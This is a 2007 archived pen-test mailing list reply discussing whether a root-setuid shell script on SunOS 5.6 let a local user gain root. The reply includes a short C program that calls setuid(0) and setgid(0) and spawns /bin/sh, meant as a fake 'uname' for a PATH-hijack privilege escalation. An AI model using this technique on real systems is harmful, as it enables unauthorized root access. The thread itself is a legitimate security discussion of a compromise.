pen-test
[Top] [All Lists]

Re: solaris root-setuid script to gain root?

To: "Vitalik N." <robert.morris.jr@gmail.com>
Subject: Re: solaris root-setuid script to gain root?
From: "Thomas Pollet" <thomas.pollet@gmail.com>
Date: Sat, 30 Jun 2007 16:47:11 +0200
Cc: pen-test@securityfocus.com
Delivered-to: sp-com-lists@consult.net
Delivered-to: pentest-list2@consult.net
Delivered-to: mailing list pen-test@securityfocus.com
Delivered-to: moderator for pen-test@securityfocus.com
Dkim-signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=Gzz/FXqXz7zKjSp8DSMglZOfniZFYRQzoWKKvkNecy4qDuL8cyXVMMvmieuINZLTynJ+MPCDMOny5dslLz7p6dsL9KA1CJl0Gyc+m62hH+OaS9BLfMXpFGfpkacz3XwyJfbD5+Mtd02amf/o00s2pimAQgKqh/LXsAFjTZrwezI=
Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=QCXPYj4jQiPfKQsWR8AKKRnJWTzB4RndLVAzpPkh8FvBPjPxnp33G1OpT/vFrB1x4JaZ3LtvBWsmkjTCmZbJcIteM4flnuzW9IT2numCFK1MWVqdzKLvYYfCkBVRxi48H218ytPvpi4a5p2G+b/IXDbjUi/DKWppq5Ht/2H3jRY=
In-reply-to: <ad01d56f0706300423m3ec3c115m84c85ac9344ff2ef@mail.gmail.com>
List-help: <mailto:pen-test-help@securityfocus.com>
List-id: <pen-test.list-id.securityfocus.com>
List-post: <mailto:pen-test@securityfocus.com>
List-subscribe: <mailto:pen-test-subscribe@securityfocus.com>
List-unsubscribe: <mailto:pen-test-unsubscribe@securityfocus.com>
Mailing-list: contact pen-test-help@securityfocus.com; run by ezmlm
References: <ad01d56f0706300423m3ec3c115m84c85ac9344ff2ef@mail.gmail.com>
Resent-date: Sat, 30 Jun 2007 08:06:53 -0600 (MDT)
Resent-from: pen-test-return-1078484514@securityfocus.com
Resent-message-id: <20070630140653.B054914373A@outgoing2.securityfocus.com>
Resent-sender: listbounce@securityfocus.com
Sender: listbounce@securityfocus.com
Hello,

On 30/06/07, Vitalik N. <robert.morris.jr@gmail.com> wrote:
Hi

I was doing pen testing the other day and I found one root suid script
left by some of the web developers:

-rwsr-x--x  1 root   users  /home/web/c.cgi

which is basically a bash script:

------ cut ------------
#!/bin/sh

uname
------ cut ------------

And our system was recently compromised. Some local user was able to
gain root access. Could this script be the way of gaining root access?

According to 
http://www.unix.com/tips-and-tutorials/36711-the-whole-story-on-usr-bin-ksh.html
"Because it was not possible to write a secure suid shell script, the concept
of suid shell scripts was removed from Unix." But then it says "Solaris now
supports suid shell" !
I tried modifying the PATH variable and creating my own "uname" program.
But my uname program runs with local user privs instead of root. I
also tried the
did you put a setuid(0) in your uname program?

f.i.:
cat >uname.c<<EOF
#include <unistd.h>
int main (int argc, char **argv, char **envp) {
setuid(0);
setgid(0);
execve("/bin/sh",argv,envp);
}
EOF

other attack described in the link above: "link to -i" but this didn't
work as well.
So could this script be the problem?

P.S: The machine runs SunOS 5.6 with all updates

Regards,
Thomas Pollet

------------------------------------------------------------------------
This List Sponsored by: Cenzic

Swap Out your SPI or Watchfire app sec solution for
Cenzic's robust, accurate risk assessment and management
solution FREE - limited Time Offer

http://www.cenzic.com/wf-spi
------------------------------------------------------------------------


<Prev in Thread] Current Thread [Next in Thread>